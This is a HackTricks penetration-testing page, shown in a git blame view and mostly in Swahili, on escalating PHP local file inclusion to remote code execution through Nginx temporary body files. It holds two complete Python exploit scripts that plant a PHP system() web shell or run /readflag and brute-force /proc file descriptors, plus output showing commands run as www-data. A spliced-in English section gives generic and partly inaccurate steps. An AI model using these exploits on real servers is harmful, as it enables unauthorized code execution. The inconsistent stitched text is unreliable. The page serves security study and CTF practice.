hacktricks/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md

322 lines
13 KiB
Markdown
Raw Normal View History

2024-02-11 02:13:58 +00:00
# LFI2RCE kupitia faili za muda za Nginx
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-02-03 16:02:14 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-05 20:00:40 +00:00
2024-02-11 02:13:58 +00:00
## Usanidi wenye kasoro
2022-04-20 19:39:32 +00:00
2024-02-11 02:13:58 +00:00
**[Mfano kutoka https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)**
2022-04-20 19:39:32 +00:00
2024-02-11 02:13:58 +00:00
* Msimbo wa PHP:
2022-04-20 19:39:32 +00:00
```
<?php include_once($_GET['file']);
```
2024-02-11 02:13:58 +00:00
* Mazingira ya FPM / PHP:
2022-04-20 19:39:32 +00:00
```
...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...
```
2024-02-11 02:13:58 +00:00
* Kuweka / kufunga:
2022-04-20 19:39:32 +00:00
```
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...
```
2024-02-11 02:13:58 +00:00
Bahati nzuri, PHP kwa sasa mara nyingi hutumiwa kupitia PHP-FPM na Nginx. Nginx inatoa kipengele cha [kubadilisha mwili wa mteja](https://nginx.org/en/docs/http/ngx\_http\_core\_module.html#client\_body\_buffer\_size) ambacho kinaweza kusababisha kuandikwa kwa faili za muda ikiwa mwili wa mteja (si mdogo kwa post) ni kubwa kuliko kizingiti fulani.
2022-04-20 19:39:32 +00:00
2024-02-11 02:13:58 +00:00
Kipengele hiki kinawezesha LFIs kudukuliwa bila njia nyingine yoyote ya kuunda faili, ikiwa Nginx inaendeshwa kama mtumiaji sawa na PHP (ambayo mara nyingi hufanyika kama www-data).
2022-04-20 19:39:32 +00:00
2024-02-11 02:13:58 +00:00
Nambari muhimu ya Nginx:
2022-04-20 19:39:32 +00:00
```c
ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
2024-02-11 02:13:58 +00:00
ngx_fd_t fd;
2022-04-20 19:39:32 +00:00
2024-02-11 02:13:58 +00:00
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
access ? access : 0600);
2022-04-20 19:39:32 +00:00
2024-02-11 02:13:58 +00:00
if (fd != -1 && !persistent) {
(void) unlink((const char *) name);
}
2022-04-20 19:39:32 +00:00
2024-02-11 02:13:58 +00:00
return fd;
2022-04-20 19:39:32 +00:00
}
```
2024-02-11 02:13:58 +00:00
Inaonekana kwamba **tempfile inafutwa mara moja** baada ya kufunguliwa na Nginx. Bahati nzuri **procfs inaweza kutumika bado kupata kumbukumbu** ya faili iliyofutwa kupitia mbio:
2022-04-20 19:39:32 +00:00
```
...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...
```
2024-02-11 02:13:58 +00:00
Maelezo: Hapa huwezi kuingiza moja kwa moja `/proc/34/fd/15` kwenye mfano huu kwa sababu PHP's `include` itatatua njia kuwa `/var/lib/nginx/body/0000001368 (imefutwa)` ambayo haipo kwenye mfumo wa faili. Kizuizi kidogo hiki kinaweza kuepukwa kwa kutumia njia ya kuelekeza kama vile: `/proc/self/fd/34/../../../34/fd/15` ambayo mwishowe itatekeleza maudhui ya faili iliyofutwa `/var/lib/nginx/body/0000001368`.
2022-04-20 19:39:32 +00:00
2024-02-11 02:13:58 +00:00
## Uvamizi Kamili
2022-04-20 19:39:32 +00:00
```python
#!/usr/bin/env python3
import sys, threading, requests
# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details
URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
2024-02-11 02:13:58 +00:00
# find nginx worker processes
2022-04-20 19:39:32 +00:00
r = requests.get(URL, params={
2024-02-11 02:13:58 +00:00
'file': '/proc/cpuinfo'
2022-04-20 19:39:32 +00:00
})
cpus = r.text.count('processor')
r = requests.get(URL, params={
2024-02-11 02:13:58 +00:00
'file': '/proc/sys/kernel/pid_max'
2022-04-20 19:39:32 +00:00
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
nginx_workers = []
for pid in range(pid_max):
2024-02-11 02:13:58 +00:00
r = requests.get(URL, params={
'file': f'/proc/{pid}/cmdline'
})
2022-04-20 19:39:32 +00:00
2024-02-11 02:13:58 +00:00
if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')
2022-04-20 19:39:32 +00:00
2024-02-11 02:13:58 +00:00
nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break
2022-04-20 19:39:32 +00:00
done = False
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
2024-02-11 02:13:58 +00:00
print('[+] starting uploader')
while not done:
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
2022-04-20 19:39:32 +00:00
for _ in range(16):
2024-02-11 02:13:58 +00:00
t = threading.Thread(target=uploader)
t.start()
2022-04-20 19:39:32 +00:00
# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
2024-02-11 02:13:58 +00:00
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
r = requests.get(URL, params={
'file': f,
'c': f'id'
})
if r.text:
print(f'[!] {f}: {r.text}')
done = True
exit()
2022-04-20 19:39:32 +00:00
for pid in nginx_workers:
2024-02-11 02:13:58 +00:00
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
2022-04-20 19:39:32 +00:00
```
2024-02-11 02:13:58 +00:00
# LFI to RCE via Nginx Temp Files
2022-04-20 19:39:32 +00:00
2024-02-11 02:13:58 +00:00
## Introduction
2022-04-20 19:39:32 +00:00
2024-02-11 02:13:58 +00:00
In some cases, a Local File Inclusion (LFI) vulnerability can be escalated to Remote Code Execution (RCE) by exploiting temporary files created by the Nginx web server. This technique can be used to gain unauthorized access to the target system and execute arbitrary commands.
## Exploitation
1. Identify the LFI vulnerability: Look for user-controllable input points where file inclusion is possible, such as URL parameters or cookies.
2. Exploit the LFI vulnerability: Inject a payload that includes the path to the Nginx temporary directory. This can be achieved by appending the payload to the file parameter, for example: `http://example.com/index.php?page=/var/tmp/nginx/client_body/xxxxx.php`.
3. Trigger the creation of a temporary file: Access the URL containing the payload to trigger the creation of the temporary file on the server.
4. Execute the payload: Access the temporary file by appending its name to the URL, for example: `http://example.com/index.php?page=/var/tmp/nginx/client_body/xxxxx.php`.
## Mitigation
To prevent LFI to RCE via Nginx temp files, consider the following mitigation techniques:
- Input validation: Implement strict input validation to prevent malicious file inclusion.
- File permissions: Ensure that the Nginx temporary directory has appropriate permissions to prevent unauthorized access.
- File deletion: Regularly clean up temporary files to minimize the risk of exploitation.
- Web server hardening: Follow best practices for securing the Nginx web server, such as disabling unnecessary features and applying security patches.
By implementing these mitigation techniques, you can reduce the risk of LFI to RCE via Nginx temp files and enhance the security of your web application.
2022-04-20 19:39:32 +00:00
```
$ ./pwn.py 127.0.0.1 1337
[*] cpus: 2; pid_max: 32768
[*] nginx worker found: 33
[*] nginx worker found: 34
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] brute loop restarted: 33
[+] brute loop restarted: 34
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
2024-02-11 02:13:58 +00:00
### Shambulizi Lingine
2022-04-20 19:39:32 +00:00
2024-02-11 02:13:58 +00:00
Hii ni kutoka [https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/)
2022-06-23 12:12:25 +00:00
```python
import requests
import threading
import multiprocessing
import threading
import random
SERVER = "http://localhost:8088"
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = False
def create_requests_session():
2024-02-11 02:13:58 +00:00
session = requests.Session()
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
session.mount('http://', adapter)
return session
2022-06-23 12:12:25 +00:00
def get_nginx_pids(requests_session):
2024-02-11 02:13:58 +00:00
if USE_NGINX_PIDS_CACHE:
return NGINX_PIDS_CACHE
nginx_pids = set()
# Scan up to PID 200
for i in range(1, 200):
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
if cmdline.startswith("nginx: worker process"):
nginx_pids.add(i)
return nginx_pids
2022-06-23 12:12:25 +00:00
def send_payload(requests_session, body_size=1024000):
2024-02-11 02:13:58 +00:00
try:
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
payload = '<?php system("/readflag"); ?> //'
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
2022-06-23 12:12:25 +00:00
def send_payload_worker(requests_session):
2024-02-11 02:13:58 +00:00
while True:
send_payload(requests_session)
2022-06-23 12:12:25 +00:00
def send_payload_multiprocess(requests_session):
2024-02-11 02:13:58 +00:00
# Use all CPUs to send the payload as request body for Nginx
for _ in range(multiprocessing.cpu_count()):
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
p.start()
2022-06-23 12:12:25 +00:00
def generate_random_path_prefix(nginx_pids):
2024-02-11 02:13:58 +00:00
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
path = ""
component_num = random.randint(0, 10)
for _ in range(component_num):
pid = random.choice(nginx_pids)
if random.randint(0, 1) == 0:
path += f"/proc/{pid}/cwd"
else:
path += f"/proc/{pid}/root"
return path
2022-06-23 12:12:25 +00:00
def read_file(requests_session, nginx_pid, fd, nginx_pids):
2024-02-11 02:13:58 +00:00
nginx_pid_list = list(nginx_pids)
while True:
path = generate_random_path_prefix(nginx_pid_list)
path += f"/proc/{nginx_pid}/fd/{fd}"
try:
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
except:
continue
# Flags are formatted as hxp{<flag>}
if "hxp" in d:
print("Found flag! ")
print(d)
2022-06-23 12:12:25 +00:00
def read_file_worker(requests_session, nginx_pid, nginx_pids):
2024-02-11 02:13:58 +00:00
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
for fd in range(10, 45):
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
thread.start()
2022-06-23 12:12:25 +00:00
def read_file_multiprocess(requests_session, nginx_pids):
2024-02-11 02:13:58 +00:00
for nginx_pid in nginx_pids:
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
p.start()
2022-06-23 12:12:25 +00:00
if __name__ == "__main__":
2024-02-11 02:13:58 +00:00
print('[DEBUG] Creating requests session')
requests_session = create_requests_session()
print('[DEBUG] Getting Nginx pids')
nginx_pids = get_nginx_pids(requests_session)
print(f'[DEBUG] Nginx pids: {nginx_pids}')
print('[DEBUG] Starting payload sending')
send_payload_multiprocess(requests_session)
print('[DEBUG] Starting fd readers')
read_file_multiprocess(requests_session, nginx_pids)
2022-06-23 12:12:25 +00:00
```
2024-02-11 02:13:58 +00:00
## Maabara
2022-04-20 19:39:32 +00:00
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
2024-02-11 02:13:58 +00:00
## Marejeo
2022-04-20 19:39:32 +00:00
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-02-03 16:02:14 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
</details>